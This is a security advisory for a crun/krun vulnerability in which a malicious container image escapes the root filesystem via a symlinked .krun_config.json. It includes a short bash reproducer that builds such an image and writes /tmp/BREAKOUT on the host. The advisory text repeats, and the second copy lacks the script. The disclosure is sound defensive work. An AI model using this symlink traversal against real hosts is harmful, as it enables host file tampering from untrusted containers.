Impact
What kind of vulnerability is it? Who is impacted?
A malicious container image could trick the krun handler into escaping the root filesystem, allowing file creation or modification on the host. No special permissions are needed, only the ability for the current user to write to the target file.
The following script is a reproducer for the issue:
#!/bin/bash
tmpdir=$(mktemp -d)
cat <<EOF > $tmpdir/Dockerfile
FROM docker.io/library/alpine
RUN ln -s ../../../../../../../../../../../../tmp/BREAKOUT .krun_config.json
EOF
podman build -q -t test $tmpdir
podman --runtime=krun run --rm -ti localhost/test /bin/true
ls -l /tmp/BREAKOUT
Only krun users are impacted.
Patches
Has the problem been patched? What versions should users upgrade to?
The problem is fixed in crun 1.20.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
No, there is not.
References
Are there any links users can visit to find out more?
It is not publicly available at the moment.
eriksjolund Finder
Impact
What kind of vulnerability is it? Who is impacted?
A malicious container image could trick the krun handler into escaping the root filesystem, allowing file creation or modification on the host. No special permissions are needed, only the ability for the current user to write to the target file.
The following script is a reproducer for the issue:
Only krun users are impacted.
Patches
Has the problem been patched? What versions should users upgrade to?
The problem is fixed in crun 1.20.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
No, there is not.
References
Are there any links users can visit to find out more?
It is not publicly available at the moment.